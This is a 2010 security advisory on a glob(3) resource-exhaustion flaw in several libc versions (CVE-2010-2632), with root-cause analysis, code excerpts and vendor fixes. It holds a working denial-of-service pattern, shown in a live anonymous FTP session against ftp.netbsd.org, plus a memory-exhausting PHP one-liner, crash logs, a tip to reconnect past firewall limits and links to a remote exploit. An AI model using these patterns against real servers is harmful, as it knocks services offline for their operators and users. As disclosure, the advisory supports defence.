Multiple Vendors libc/glob(3) - Resource Exhaustion / Remote ftpd-anon

Source: http://securityreason.com/securityalert/7822



-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1



[ Multiple Vendors libc/glob(3) resource exhaustion (+0day remote

ftpd-anon) ]



Author: Maksymilian Arciemowicz

http://netbsd.org/donations/

http://securityreason.com/

http://cxib.net/

Date:

- - Dis.: 06.11.2009

- - Pub.: 07.10.2010



CVE: CVE-2010-2632



Affected Software (verified):

- - OpenBSD 4.7

- - NetBSD 5.0.2

- - FreeBSD 7.3/8.1

- - Oracle Sun Solaris 10

- - GNU Libc (glibc)



Affected Ftp Servers:

- - ftp.openbsd.org (verified 02.07.2010: "connection refused" and ban)

- - ftp.netbsd.org (verified 02.07.2010: "connection limit of 160 reached"

and ban)

- - ftp.freebsd.org

- - ftp.adobe.com

- - ftp.hp.com

- - ftp.sun.com

- - more more and more



Affected Vendors (not verified):

- - Apple

- - Microsoft Interix

- - HP

- - more more more



Original URL:

http://securityreason.com/achievement_securityalert/89





- --- 0.Description ---



#include <glob.h>



int glob(const char *pattern, int flags,

int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);



Description



This function expands a filename wildcard which is passed as pattern.



GLOB_LIMIT Limit the amount of memory used by matches to

ARG_MAX.

This option should be set for programs that can be

coerced to a denial of service attack via patterns

that

expand to a very large number of matches, such as a

long

string of */../*/..





- --- 1. Multiple Vendors libc/glob(3) resource exhaustion ---

As we can read in definition GLOB_LIMIT:



- --

Limit the amount of memory used by matches to ARG_MAX. This option should

be set for programs that can be coerced to a denial of service attack via

patterns that expand to a very large number of mat

ches, such as a long string of */../*/..

- ---



but now is comming question "what will happen when we use */.. without

matching any results (simple searching)?" GLOB_LIMIT will be not

overflowed. To realize it, we need only use pattern with many

*/.. and many inodes in current directory. On the end of pattern, we need

add some not existed filename (like /cxib*).

If we don't have many files or directories in attacked direcotry, we need

create some dir-structure.



Let's see again:

http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&co

ntent-type=text/x-cvsweb-markup



GLOB_LIMIT



protect us before attacks like



*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*



because glob will find more patches as in GLOB_LIMIT declared. Anyway, if

we use path what do not exists (with */.. strings) like



*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha



GLOB_LIMIT will be never overflowed. Many combinations of paths, will

execute this proces a long time. We can also try allocate

(GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB



Example:

> telnet ftp.netbsd.org 21

Trying 204.152.190.15...

Connected to ftp.netbsd.org.

Escape character is '^]'.

220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready.

user anonymous

331 Guest login ok, type your name as password.

pass anon@cxib

230-

The NetBSD Project FTP Server located in Redwood City, CA, USA

...

230-

EXPORT NOTICE



...

230 Guest login ok, access restrictions apply.

stat

{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}

/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx





this request will generate 100% usage of process a long time. ftpd come

into glob(3) and will not fast out. Very similar sympthon was described in

vulnerability for glibc strfmon(3)



- - http://securityreason.com/achievement_securityalert/67 --

...

Interesting is that the PHP memory_limit has no control over what will

happens in the level of the libc. Function strfmon(3) can allocate a lot

of

data in memory without control by PHP memory_limit.



For example:

php -r 'money_format("%.1343741821i",1);'



will allocate ~1049MB real memory.

memory_limit can be less that 1049M

...

- - http://securityreason.com/achievement_securityalert/67 --



ftpd also dosen't control what will happen in libc.



so it is enough to send

- ---

USER anonymous

PASS

STAT */..[calculated pattern]

- ---



and disconnect to connect again (bypass firewall limits). In php we can

also bypass max_memory_limit by libc vulns.



Attacking machine in this way, we can call the various side effects.



- -kernel panic in netbsd502---

Jul 5 10:18:13 dhclient: DHCPACK from 192.168.92.254

Jul 5 10:18:14 dhclient: bound to 192.168.92.171 -- renewal in 886

seconds.

Jul 5 10:22:43 syslogd: restart

Jul 5 10:22:43 /netbsd: uvm_fault(0xcc2eb35c, 0, 2) -> 0xe

Jul 5 10:22:43 /netbsd: fatal page fault in supervisor mode

Jul 5 10:22:43 /netbsd: trap type 6 code 2 eip c07d9784 cs 8 eflags 10206

cr2 0 ilevel 0

Jul 5 10:22:43 /netbsd: panic: trap

Jul 5 10:22:43 /netbsd: Begin traceback...

Jul 5 10:22:43 /netbsd: End traceback...

Jul 5 10:22:43 /netbsd:

Jul 5 10:22:43 /netbsd: dumping to dev 0,1 offset 8

Jul 5 10:22:43 /netbsd: dump succeeded

Jul 5 10:22:43 /netbsd:

Jul 5 10:22:43 /netbsd:

Jul 5 10:22:43 /netbsd: rebooting...

Jul 5 10:22:43 /netbsd: Copyright (c) 1996, 1997, 1998, 1999, 2000, 2001,

2002, 2003, 2004, 2005,

- -kernel panic in netbsd502---



- -crash in openbsd47---

# ls

Segmentation fault (core dumped)



or ftpd.core



# gdb -q /usr/libexec/ftpd ftpd.core

(no debugging symbols found)

Core was generated by `ftpd'.

Program terminated with signal 11, Segmentation fault.

#0 0x0a77facb in ?? ()

(gdb) i r

eax 0xffffffff -1

ecx 0x6 6

edx 0x0 0

ebx 0x18 24

esp 0xcfbc1e70 0xcfbc1e70

ebp 0xcfbc1ea8 0xcfbc1ea8

esi 0x0 0

edi 0x81f78100 -2114486016

eip 0xa77facb 0xa77facb

eflags 0x10206 66054

cs 0x2b 43

ss 0x33 51

ds 0x33 51

es 0x33 51

fs 0x33 51

gs 0x33 51

(gdb) bt

#0 0x0a77facb in ?? ()

Cannot access memory at address 0xcfbc1e70

- -crash in openbsd47---



Presented issue in localized libc, not in ftpd. Try use

{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}

/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx



in ksh, openssh (sftp-server). sftp is also vulnerable. but they will kill

children process after disconnect.



"What is wrong?",



libc has no control over the computing power glob(3), good fix for this

issue, should control, how many times glob(3) will call to

*readdirfunc(),stat(2) and reducing memory usage.



- -glob.c---

...

static int

glob3(Char *pathbuf, Char *pathend, Char *pathlim, Char *pattern,

Char *restpattern, glob_t *pglob, size_t *limit)

{

struct dirent *dp;

DIR *dirp;

int error;

char buf[MAXPATHLEN];



/*

* The readdirfunc declaration can't be prototyped, because it is

* assigned, below, to two functions which are prototyped in

glob.h

* and dirent.h as taking pointers to differently typed opaque

* structures.

*/

struct dirent *(*readdirfunc)(void *);

...

/*

* Loop over pattern segments until end of pattern or until

* segment with meta character found.

*/

for (anymeta = 0;;) {

if (*pattern == EOS) { /* End of pattern? */

*pathend = EOS;

if (g_lstat(pathbuf, &sb, pglob)) <========= LIMIT

THIS CALL ===

return 0;



if (((pglob->gl_flags & GLOB_MARK) &&

...



if ((dirp = g_opendir(pathbuf, pglob)) == NULL) {

if (pglob->gl_errfunc) {

...

/* Search directory for matching names. */

if (pglob->gl_flags & GLOB_ALTDIRFUNC)

readdirfunc = pglob->gl_readdir;

else

readdirfunc = (struct dirent *(*)__P((void *))) readdir;

while ((dp = (*readdirfunc)(dirp)) != NULL) { <============= LIMIT

THIS CALL ===

...

- -glob.c---



As we can see, glob3() will call to (*readdirfunc)() and back to glob2().

glob2() will come again in glob3()... we need try control, how many times

glob will call to (*readdirfunc)() and stat().

Fix created together with NetBSD devs, should fix this problem.





- --- 2. 0day PoC ---

To sucessfully attack, we need calculate pattern. I am not going show, how

to optimal calulate pattern.

With similar PoC we can try attack ftp.adobe.com, ftp.openbsd.org etc.



0day remote ftpd Denial-of-Service:

http://cxib.net/stuff/glob-0day.c

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/15215.c (glob-0day.c)



- --- 3. Fix ---

Oracle 25.09.2010 CET: Being fixed in main codeline



Very thanks for NetBSD project and help NetBSD project like they help you

in fixing this issue



http://netbsd.org/donations/



Fix libc/glob.c for netbsd-4,netbsd-5 branches:

http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.c#rev1

.18.10.1

http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.3#rev1

.30.12.1



Fix for openssh (sftp):

http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf

tp.c#rev1.21.6.1

http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf

tp-glob.c#rev1.13.12.1



http://netbsd.org/donations/

http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.

asc





- --- 4. Greets ---

Special thanks for Christos Zoulas



sp3x, Infospec, Adam Zabrocki 'pi3'





- --- 5. Contact ---

Author: SecurityReason.com [ Maksymilian Arciemowicz ]



Email:

- - cxib {a\./t] securityreason [d=t} com



GPG:

- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg



http://netbsd.org/donations/

http://securityreason.com/

http://cxib.net/

-----BEGIN PGP SIGNATURE-----



iQIcBAEBAgAGBQJMrXeVAAoJEIO8+dzW5bUwjq4P/R//ivaNDXSjx9ANBCkAvwQE

ril6lWxNS459raFYfQBSVL+5ZScrTczKRy+dNHVoARlfS9j9RtmXvnrHuAxAkkXd

0o6ulJem5QVbrUt50sfHm78IIHu3NDRQEotrOm2HGPUjd9ehFXxkPYrpkMfzulbX

Oml2Ng5lwd50M19t2NBNycNv+0KElqLYYCD9zQhtb50ZoQHZ4G40tP3MqEiDqEAB

ZmhiKPBAhCw+sXlx5lJ37+sMPTnQusUZ5JKU73zixEs0kxqs+bdNOa2sgEl6Fixe

0Qy/tK3TDjvrJv2Nlepuhax6Dsda1EWGztppD7BXeZvd3ZIslC1Q9xJVKPZ1EQ5r

UaQmqNXrSR3eJvQS8it6Qy2anxfCkrGMuEqbBo+oKlV2dLAHPmSLRwY98KI16E96

DPqSNG6UEmXOYjROboM05vjksNg+WvqRbd/kvH3qKk5E7GEtw8v/pGK1FXc1It7f

VD6YSANhmlLliLz8OT8qFzaQ7eojEUu5xCn5Dd1er5bvtERmME1MtKctpRZBLH7I

j4cuK3l7X/yXet7jOJ/zcOND8tkX64ZBCU6VgcGnF56mWhZtbVCqFD+fVeSSqgPA

S72zTsV616YrSt78K3aMK00OD8BGlcW4NAGZ9y8/IiIHPaJFUiR+AO5fSOmFZnn9

NKv1ahQyLCmS6QCIQ4rV

=BiRC

-----END PGP SIGNATURE-----